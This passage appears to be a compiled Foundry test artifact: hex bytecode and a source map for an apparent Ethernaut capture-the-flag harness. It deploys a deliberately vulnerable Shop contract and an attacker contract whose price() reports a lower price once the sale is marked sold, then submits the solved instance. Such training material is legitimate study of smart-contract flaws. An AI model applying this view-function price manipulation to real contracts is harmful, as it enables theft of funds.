3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;379:1578:146;420:32:154;259:12:155;379:1578:146;420:32:154;410:43;382:71;;379:1578:146;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b2d565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b70565b620001b3620001fa36600462001c5c565b62000a32565b6200020a62000bfd565b604051620001c7919062001d2f565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001df2565b620001da6200025736600462001ebf565b62000eff565b6200019a6200108f565b62000271620011ca565b604051620001c7919062001ed7565b620001b36200029136600462001f3d565b6200129f565b62000237620013be565b620002b8620002b236600462001f5b565b620014b8565b6040519015158152602001620001c7565b6200027162001648565b6200019a6200171d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017b6565b620001da6200188a565b6200019a6200032f36600462001ebf565b620018ea565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001f97565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f97565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ad2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002038565b90508060018251620009899190620021c8565b815181106200099c576200099c62001f97565b60200260200101515f0151600281518110620009bc57620009bc62001f97565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021de565b90505f81848560405160200162000ad492919062002230565b60408051601f198184030181529082905262000af49291602001620022de565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002310565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021de565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c929062002324565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc09062002324565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bbe565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb91906200235e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001f97565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001ae0565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e906024015f604051808303815f87803b15801562001187575f80fd5b505af11580156200119a573d5f803e3d5ffd5b5050602054602154620011c79350620011c192506001600160a01b039182169116620014b8565b62001a00565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200120d9062002324565b80601f01602080910402602001604051908101604052809291908181526020018280546200123b9062002324565b80156200128a5780601f1062001260576101008083540402835291602001916200128a565b820191905f5260205f20905b8154815290600101906020018083116200126c57829003601f168201915b505050505081526020019060010190620011ed565b5f80604051620012af9062001aee565b604051809103905ff080158015620012c9573d5f803e3d5ffd5b5090505f604051620012db9062001afc565b604051809103905ff080158015620012f5573d5f803e3d5ffd5b508483604051620013069062001b0a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001340573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139f575f80fd5b505af1158015620013b2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200144b5790505b50505050508152505081526020019060010190620013e1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001514575f80fd5b505af115801562001527573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001585575f80fd5b505af115801562001598573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015fc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001625919081019062002038565b90506001815111156200163d57600191505062001642565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200168b9062002324565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b99062002324565b8015620017085780601f10620016de5761010080835404028352916020019162001708565b820191905f5260205f20905b815481529060010190602001808311620016ea57829003601f168201915b5050505050815260200190600101906200166b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001774575f80fd5b505af115801562001787573d5f803e3d5ffd5b5050602054602154620017b49350620017ae92506001600160a01b039182169116620014b8565b62001a7f565b565b6008545f9060ff1615620017ce575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200185d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188391906200237c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620018f7824362002394565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019b59086908690600401620023aa565b5f60405180830381865afa158015620019d0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019f99190810190620023db565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a65575f80fd5b505afa15801562001a78573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a4e565b61066f806200241283390190565b6101f58062002a8183390190565b610ae58062002c7683390190565b611e7a806200375b83390190565b610daa80620055d583390190565b6001600160a01b0381168114620011c7575f80fd5b5f805f6060848603121562001b40575f80fd5b833562001b4d8162001b18565b9250602084013562001b5f8162001b18565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bb25783516001600160a01b03168352928401929184019160010162001b8b565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bf85762001bf862001bbe565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c2a5762001c2a62001bbe565b604052919050565b5f67ffffffffffffffff82111562001c4e5762001c4e62001bbe565b50601f01601f191660200190565b5f6020828403121562001c6d575f80fd5b813567ffffffffffffffff81111562001c84575f80fd5b8201601f8101841362001c95575f80fd5b803562001cac62001ca68262001c32565b62001bfe565b81815285602083850101111562001cc1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cfa57818101518382015260200162001ce0565b50505f910152565b5f815180845262001d1b81602086016020860162001cde565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001de357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dcc57605f1988850301835262001db984865162001d02565b948d01949350918c019160010162001d9a565b505050968901969350509087019060010162001d54565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001eb157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e9b5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e57565b5096890196945050509086019060010162001e19565b509098975050505050505050565b5f6020828403121562001ed0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3057603f1988860301845262001f1d85835162001d02565b9450928501929085019060010162001efe565b5092979650505050505050565b5f6020828403121562001f4e575f80fd5b8135620019f98162001b18565b5f806040838503121562001f6d575f80fd5b823562001f7a8162001b18565b9150602083013562001f8c8162001b18565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fc75762001fc762001bbe565b5060051b60200190565b5f62001fe162001ca68462001c32565b905082815283838301111562001ff5575f80fd5b620019f983602083018462001cde565b5f82601f83011262002015575f80fd5b620019f98383516020850162001fd1565b8051620020338162001b18565b919050565b5f60208083850312156200204a575f80fd5b825167ffffffffffffffff8082111562002062575f80fd5b818501915085601f83011262002076575f80fd5b81516200208762001ca68262001fab565b81815260059190911b83018401908481019088831115620020a6575f80fd5b8585015b83811015620021a757805185811115620020c2575f80fd5b86016060818c03601f19011215620020d8575f80fd5b620020e262001bd2565b8882015187811115620020f3575f80fd5b8201603f81018d1362002104575f80fd5b898101516200211762001ca68262001fab565b81815260059190911b8201604001908b8101908f83111562002137575f80fd5b6040840193505b82841015620021595783518252928c0192908c01906200213e565b845250505060408201518781111562002170575f80fd5b620021808d8b8386010162002005565b8a83015250620021936060830162002026565b6040820152845250918601918601620020aa565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016425762001642620021b4565b5f60208284031215620021ef575f80fd5b815167ffffffffffffffff81111562002206575f80fd5b8201601f8101841362002217575f80fd5b620022288482516020840162001fd1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200226981600585016020880162001cde565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022a881600a84016020880162001cde565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022f181846020880162001cde565b8351908301906200230781836020880162001cde565b01949350505050565b602081525f620019f9602083018462001d02565b600181811c908216806200233957607f821691505b6020821081036200235857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200236f575f80fd5b8151620019f98162001b18565b5f602082840312156200238d575f80fd5b5051919050565b80820180821115620016425762001642620021b4565b604081525f620023be604083018562001d02565b8281036020840152620023d2818562001d02565b95945050505050565b5f60208284031215620023ec575f80fd5b815167ffffffffffffffff81111562002403575f80fd5b62002228848285016200200556fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105f58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610334565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610356565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610334565b6101be565b610114610253565b61011d5f6102ac565b565b5f8060405161012d90610313565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f808390506064816001600160a01b031663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610191573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b5919061038d565b10949350505050565b6101c6610253565b6001600160a01b0381166102475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610250816102ac565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61021b806103a583390190565b6001600160a01b0381168114610250575f80fd5b5f60208284031215610344575f80fd5b813561034f81610320565b9392505050565b5f8060408385031215610367575f80fd5b823561037281610320565b9150602083013561038281610320565b809150509250929050565b5f6020828403121561039d575f80fd5b505191905056fe608060405260645f55348015610013575f80fd5b506101fa806100215f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063a035b1fe14610043578063a6f2ae3a1461005e578063e852e74114610068575b5f80fd5b61004b5f5481565b6040519081526020015b60405180910390f35b610066610085565b005b6001546100759060ff1681565b6040519015158152602001610055565b5f3390505f548173ffffffffffffffffffffffffffffffffffffffff1663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f891906101ad565b10158015610109575060015460ff16155b156101aa576001805460ff191681179055604080517fa035b1fe000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff83169163a035b1fe9160048083019260209291908290030181865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906101ad565b5f555b50565b5f602082840312156101bd575f80fd5b505191905056fea26469706673582212200a97880151165a17e1fcee7bfad4772e4bf9497c4fd3dd9e214ae1521abb642364736f6c63430008180033a26469706673582212205891416e2127f5b3ccf1a2358a2c07c284c8fab87d4c7168a9903d6e7cdc651864736f6c63430008180033608060405234801561000f575f80fd5b506101d88061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063a035b1fe14610038578063d018db3e14610052575b5f80fd5b610040610067565b60405190815260200160405180910390f35b610065610060366004610149565b6100eb565b005b5f3373ffffffffffffffffffffffffffffffffffffffff1663e852e7416040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d59190610183565b6100e05760646100e3565b60015b60ff16905090565b8073ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610130575f80fd5b505af1158015610142573d5f803e3d5ffd5b5050505050565b5f60208284031215610159575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461017c575f80fd5b9392505050565b5f60208284031215610193575f80fd5b8151801515811461017c575f80fdfea2646970667358221220a137900409926bb12dd4ec83bbc8fde2edd00c2fc096f48d2bafea503df9ca1464736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c65